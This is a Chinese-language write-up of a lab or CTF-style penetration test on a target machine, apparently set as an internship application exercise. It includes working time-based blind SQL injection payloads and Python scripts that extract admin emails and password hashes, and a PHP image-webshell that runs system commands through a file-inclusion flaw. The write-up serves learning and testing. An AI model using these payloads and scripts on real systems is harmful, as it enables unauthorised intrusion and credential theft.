打算找暑假實習了,在boss上投,簡單交流后收到回復,試了下,記錄下思路和過程。
資產收集
拿到靶機,指紋識別
根據題目提示使用dirsearch進行目錄簡單掃描,部分結果如下:
找到robot.txt
User-agent: * Disallow: /Company_admin/
訪問首頁F12查看源碼
<!-- author: Ethredah author URL: http://ethredah.github.io -->
找到前端代碼作者Ethredah,找到器github鏈接,https://github.com/Ethredah/
在倉庫中發現網站源碼 PHP-Blog-Admin ,clone下來進行代碼審計對比,
簡單審計,發現sql語句幾乎沒做安全措施,代碼邏輯簡單明了,回到網站
找到后台地址
http://ip:port/Company_admin/login.php
在網站中搜尋有用信息,
用戶password疑似 p3ssw0rd
,
4 digits code 疑似 1027
可能存在的郵箱賬號
info@example.com
ethredah@gmail.com
admin@example.com
Admin@Companyonline.net
info@Companyonline.net
ethredah@Companyonline.net
手工測試登錄,嘗試無果
查看博客文章,點擊查看詳情,觀察url
http://url:port/single.php?id=6
id處疑似存在sql注入,嘗試:
被攔截,先放着
找網站輸入點,footer處可輸入郵箱,嘗試,被攔截
網站blog留言,contact,嘗試,被攔截(這些地方不管輸入什么都被攔截)先放着,可能存在xss和二次注入
整理資產
滲透測試
sql注入
抓包網站輸入出包分析,發現在輸入后請求的時候攜帶了一個submit參數,自帶了一個 +
符號(暈),刪掉后可進行正常的業務邏輯操作,查看網站源碼,進行sql注入測試
FUZZ
如上圖,返回長度為324的表示被過濾,還有大部分的諸如select
、sleep
等可用,有操作空間。審計single.php
源碼,網站無回顯,嘗試sql盲注,sleep(3)
成功延時,於是構造payload:if(ascii(mid(1,1,1))like(49),sleep(3),1)
寫腳本簡單爆破:
import requests from time import sleep url = "url:port/single.php?id=" for i in range(1, 100): for j in range(32, 128): # 數據庫 # if(ascii(mid((select(database()))," + str(i) + ",1))like(" + str(j) + "),sleep(3),1) hstest # 表名 # if(ascii(mid((select(group_concat(table_name,\",\"))from(information_schema.tables) # where((table_schema)like(database())))," + str(i) + ",1))like(" + str(j) + "),sleep(3),1) admin,comments...... # 字段名 # if(ascii(mid((select(group_concat(column_name,\",\"))from(information_schema.columns) # where((table_name)like(\"admin\")))," + str(i) + ",1))like(" + str(j) + "),sleep(3),1) id,email...... # 字段值爆破 d = "if(ascii(mid((" \ "select(group_concat(email,\",\"))from(admin)" \ ")," + str(i) + ",1))like(" + str(j) + "),sleep(3),1)" r = requests.get(url + d) if r.elapsed.total_seconds() > 3: print(chr(j), end='') break
得到email賬號如下:
fakeaddr@xxx.com (xxx為打碼)
嘗試密碼爆破
import requests from time import sleep url = "url:port/single.php?id=" for i in range(1, 100): for j in range(32, 128): if 47<j<58 or 96<j<123 d = "if(ascii(mid((" "select(group_concat(password,\",\"))from(admin)" ")," + str(i) + ",1))like(" + str(j) + "),sleep(3),1)" r = requests.get(url + d) if r.elapsed.total_seconds() > 3: print(chr(j), end='') break
得到md5 hash后的密碼:
752ae077e594f3b7452da97f78xxxxxx
解密后得到 xxxxxxx
登陸后台,使用賬號 fakeaddr@xxx.com
密碼 xxxxxx
,4 digits code為1027
成功登錄后台
文件包含
在 comments.php
處找到文件上傳點,嘗試各種繞過后無果,隨后尋找文件包含點,在 language.php
的template
參數處找到可包含的點,隨后上傳圖片馬,包含phpinfo,執行結果如下:
然后一系列命令執行,最終在 /home/www/flag-stage1-272d3798-cdc0-4f47-9a77-d8916fb84226.txt
下得到flag
<?php system("find /home -name '*' | xargs grep 'xxxFlag{'");phpinfo();?>